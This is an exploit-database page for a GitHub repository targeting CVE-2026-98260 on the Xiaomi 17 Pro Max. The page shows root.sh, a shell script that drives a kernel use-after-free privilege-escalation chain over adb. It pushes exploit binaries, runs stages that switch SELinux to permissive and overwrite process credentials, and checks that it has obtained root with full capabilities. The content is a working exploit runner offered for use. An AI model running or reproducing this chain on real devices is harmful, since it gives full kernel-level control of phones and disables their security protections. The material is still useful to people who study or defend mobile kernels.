Exploit databaseDownload repository ZIP
GH-29e755ab02c968b347a7e04c962bbc6b
starriv/cve-2026-98260-xiaomi-17-pro-max
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files16
starriv/cve-2026-98260-xiaomi-17-pro-maxRevision e9d8d6a6779b
- ↑..Parent directory
- device/
- lib/
- autoretry.sh
- bootloop-capture.sh
- build.sh
- check.sh
- clean-device-temp.sh
- fetch-binaries.sh
- freeze-risk-audit.sh
- load-ksu.sh
- post-reboot.sh
- privacy-clean.sh
- root.sh
- run.sh
- staged-batch.sh
- unbrick-restore.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scripts/root.sh
Shell · 9,559 bytes#!/bin/sh
# popsicle (Xiaomi 17 Pro Max) host runner for the validated CVE-2026-98260 chain.
#
# scripts/root.sh --check target + hash + env gates (no push)
# scripts/root.sh --probe push + run the non-escalating probes
# scripts/root.sh --escalate run the 3-stage root chain
#
# Options:
# --serial SERIAL adb serial (needed when several devices are online)
# --force-build-mismatch allow a build other than the validated one (warns)
#
# Environment:
# ADB, SERIAL, EXPECT_KERNEL, STAGE_TIMEOUT_SECS (default 720), POLL_SECS (3)
#
# Safety model (mirrors the reference port):
# * One attempt per boot per stage; a marker records the boot_id.
# * A stage that hits [PARKED] / "retain mappings" is not retried;
# the runner stops and asks for a full reboot.
# * A boot_id change aborts immediately (device rebooted / panicked).
# * Success requires uid=0 AND CapEff=000001ffffffffff AND Permissive
# from a *new* shell, not just a log line.
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
ROOT=$(cd "$HERE/.." && pwd)
BIN=${BIN:-$ROOT/device/bin}
ADB=${ADB:-adb}
SERIAL=${SERIAL:-}
REMOTE=${REMOTE:-/data/local/tmp}
EXPECT_DEVICE=${EXPECT_DEVICE:-popsicle}
EXPECT_KERNEL=${EXPECT_KERNEL:-6.12.69-android16-6-g43b5ab7e247d-abogki558343811-4k}
KNOWN_BUILDS=${KNOWN_BUILDS:-"OS4.0.4.0.XPBCNXM OS4.0.5.0.XPBCNXM OS4.0.6.0.XPBCNXM"}
STAGE_TIMEOUT_SECS=${STAGE_TIMEOUT_SECS:-720}
POLL_SECS=${POLL_SECS:-3}
# probe_timer_address() degrades after ~24 back-to-back attempts, so keep the
# fullcap stage short and make a fresh boot the retry unit.
FULLCAP_ATTEMPTS=${FULLCAP_ATTEMPTS:-4}
CRED_ATTEMPTS=${CRED_ATTEMPTS:-8}
LOGDIR=${LOGDIR:-$ROOT/logs}
MODE=
FORCE_BUILD=0
while [ $# -gt 0 ]; do
case "$1" in
--check) MODE=check ;;
--probe) MODE=probe ;;
--escalate) MODE=escalate ;;
--serial) shift; SERIAL=${1:?--serial needs a value} ;;
--force-build-mismatch) FORCE_BUILD=1 ;;
-h|--help) sed -n '2,20p' "$0"; exit 0 ;;
*) echo "unknown option: $1" >&2; exit 2 ;;
esac
shift
done
[ -n "$MODE" ] || { echo "pick one of --check / --probe / --escalate" >&2; exit 2; }
mkdir -p "$LOGDIR"
adb_() {
if [ -n "$SERIAL" ]; then "$ADB" -s "$SERIAL" "$@"; else "$ADB" "$@"; fi
}
sh_() { adb_ shell "$1" | tr -d '\r'; }
sha256_file() {
if command -v shasum >/dev/null 2>&1; then shasum -a 256 "$1" | awk '{print $1}'
else sha256sum "$1" | awk '{print $1}'; fi
}
die() { echo "FAIL: $*" >&2; exit 1; }
boot_id() { sh_ 'cat /proc/sys/kernel/random/boot_id'; }
getenforce_() { sh_ 'getenforce'; }
target_check() {
adb_ get-state >/dev/null 2>&1 || die "no adb device; run 'adb devices' and authorize USB debugging"
local dev krel build
dev=$(sh_ 'getprop ro.product.device')
krel=$(sh_ 'uname -r')
build=$(sh_ 'getprop ro.build.version.incremental')
echo "device=$dev build=$build"
echo "kernel=$krel"
[ "$dev" = "$EXPECT_DEVICE" ] || die "device is '$dev', expected '$EXPECT_DEVICE'"
[ "$krel" = "$EXPECT_KERNEL" ] || die "kernel is '$krel',\n expected '$EXPECT_KERNEL'"
case " $KNOWN_BUILDS " in
*" $build "*) ;;
*)
if [ "$FORCE_BUILD" = 1 ]; then
echo "WARN: build '$build' not in known builds; kernel matches, continuing"
else
die "build '$build' not in known builds ($KNOWN_BUILDS).\n Kernel matches, so pass --force-build-mismatch to continue."
fi
;;
esac
}
check_mode() {
target_check
echo "boot_id=$(boot_id)"
echo "page_size=$(sh_ 'getconf PAGE_SIZE') arch=$(sh_ 'uname -m')"
echo "selinux=$(getenforce_)"
echo "bootloader_locked=$(sh_ 'getprop ro.boot.flash.locked') verifiedboot=$(sh_ 'getprop ro.boot.verifiedbootstate')"
echo "panic_on_warn(shell)=$(sh_ 'cat /proc/sys/kernel/panic_on_warn 2>/dev/null || echo unreadable')"
echo "root=$(root_state)"
local r=0
for spec in \
"d|/sys/kernel/tracing/events/kmem|kmem_dir" \
"r|/sys/kernel/tracing/per_cpu/cpu0/trace_pipe_raw|pipe_raw_read" \
"w|/sys/kernel/tracing/tracing_on|tracing_on_write" \
"w|/sys/kernel/tracing/events/kmem/rss_stat/trigger|trigger_write"; do
op=${spec%%|*}; rest=${spec#*|}; p=${rest%%|*}; n=${rest##*|}
if [ "$(sh_ "test -$op '$p' && echo ok || echo no")" = ok ]; then
printf 'tracefs %-18s ok\n' "$n"
else
printf 'tracefs %-18s NO\n' "$n"; r=1
fi
done
echo "binaries:"
for f in exploit-android-perf exploit-android-perf-chain exploit-android-key-ptr pc98260-su; do
printf ' %-28s %s\n' "$f" "$(sha256_file "$BIN/$f" | cut -c1-16)"
done
[ "$r" = 0 ] || die "one or more tracefs gates failed"
echo "OK: target and environment gates look usable"
}
push_all() {
for f in exploit-android-perf exploit-android-perf-chain exploit-android-key-ptr; do
adb_ push "$BIN/$f" "$REMOTE/$f" >/dev/null
sh_ "chmod 755 $REMOTE/$f"
local localhash remotehash
localhash=$(sha256_file "$BIN/$f")
remotehash=$(sh_ "sha256sum $REMOTE/$f" | awk '{print $1}')
[ "$localhash" = "$remotehash" ] || die "transfer hash mismatch for $f"
done
adb_ push "$BIN/pc98260-su" "$REMOTE/pc98260-su" >/dev/null
sh_ "chmod 755 $REMOTE/pc98260-su"
echo "pushed 4 binaries to $REMOTE (hashes verified)"
}
probe_mode() {
target_check
push_all
local rc=0
for mode in --pcp-probe --aio-probe --preflight; do
echo "===== $mode ====="
if sh_ "$REMOTE/exploit-android-perf $mode"; then
echo "[$mode] exit=0"
else
echo "[$mode] exit=$? (may be expected: slabinfo/kprobe needs root)"
rc=1
fi
done
return "$rc"
}
root_state() {
if sh_ 'su -c id' | grep -q 'uid=0'; then
echo "yes (KernelSU su)"
elif root_proof >/dev/null 2>&1; then
echo "yes (pc98260 rootd)"
else
echo "no"
fi
}
root_proof() {
local sock out
for sock in pc98260-root.sock pc98260-root2.sock; do
out=$(sh_ "PC98260_SOCK=$REMOTE/$sock timeout 4 $REMOTE/pc98260-su -c 'id; grep CapEff /proc/self/status; getenforce'" 2>/dev/null || true)
printf '%s' "$out" | grep -q 'uid=0(root)' || continue
printf '%s' "$out" | grep -q 'CapEff:[[:space:]]*000001ffffffffff' || continue
printf '%s' "$out" | grep -q 'Permissive' || continue
printf '%s\n' "$out"
return 0
done
return 1
}
stage_start() {
local name=$1 cmd=$2 boot=$3
STAGE_LOG="$REMOTE/pc98260-$name-$boot.log"
local marker="$REMOTE/pc98260-$name-$boot.started"
if [ "$(sh_ "test -e $marker && echo YES || echo NO")" = YES ]; then
die "stage '$name' already started in boot $boot; reboot the phone before retrying"
fi
sh_ "touch $marker"
sh_ "nohup $cmd > $STAGE_LOG 2>&1 < /dev/null &"
echo "started $name, device log: $STAGE_LOG"
}
stage_wait() {
local name=$1 boot=$2 want=$3
local deadline seen=0 content now
deadline=$(( $(date +%s) + STAGE_TIMEOUT_SECS ))
while [ "$(date +%s)" -lt "$deadline" ]; do
sleep "$POLL_SECS"
now=$(boot_id)
[ "$now" = "$boot" ] || die "boot_id changed during '$name' (reboot/panic); stopping"
content=$(sh_ "cat $STAGE_LOG 2>/dev/null || true")
if printf '%s' "$content" | grep -qE '\[PARKED\]|retain mappings'; then
adb_ pull "$STAGE_LOG" "$LOGDIR/" >/dev/null 2>&1 || true
die "'$name' stopped at a failed safety check (PARKED). Reboot before retrying.\n$(printf '%s' "$content" | tail -12)"
fi
printf '%s' "$content" | sed -n "$((seen + 1)),\$p"
seen=$(printf '%s' "$content" | wc -l | tr -d ' ')
case "$want" in
permissive) if [ "$(getenforce_)" = Permissive ]; then return 0; fi ;;
proof) if root_proof >/dev/null 2>&1; then return 0; fi ;;
esac
done
adb_ pull "$STAGE_LOG" "$LOGDIR/" >/dev/null 2>&1 || true
die "'$name' timed out after ${STAGE_TIMEOUT_SECS}s; log pulled to $LOGDIR"
}
escalate_mode() {
target_check
echo "WARNING: this triggers a kernel UAF. A failed attempt can panic and reboot the phone."
echo " Bootloader stays locked and no partition is written."
push_all
local boot; boot=$(boot_id)
echo "boot_id=$boot"
if [ "$(getenforce_)" != Permissive ]; then
stage_start selinux \
"$REMOTE/exploit-android-perf --target selinux --attempts 12 --prefix 1 --churn 512 --pcp-prime 8192 --aio 8192" \
"$boot"
stage_wait selinux "$boot" permissive
fi
if ! root_proof >/dev/null 2>&1; then
stage_start cred \
"env CVE98260_FULLCAP_ATTEMPTS=$FULLCAP_ATTEMPTS $REMOTE/exploit-android-perf-chain --target cred --attempts $CRED_ATTEMPTS --prefix 1 --churn 512 --pcp-prime 8192 --aio 8192" \
"$boot"
stage_wait cred "$boot" proof
fi
[ "$(boot_id)" = "$boot" ] || die "boot_id changed before the final proof"
local proof; proof=$(root_proof) || die "root proof failed (uid0 + full CapEff + Permissive)"
printf '%s\n' "$proof" | tee "$LOGDIR/root-proof-$boot.txt"
echo "OK: CVE-2026-98260 root verified for this boot (temporary; re-run after reboot)."
echo " new shell: adb shell $REMOTE/pc98260-su -c 'id'"
}
case "$MODE" in
check) check_mode ;;
probe) probe_mode ;;
escalate) escalate_mode ;;
esac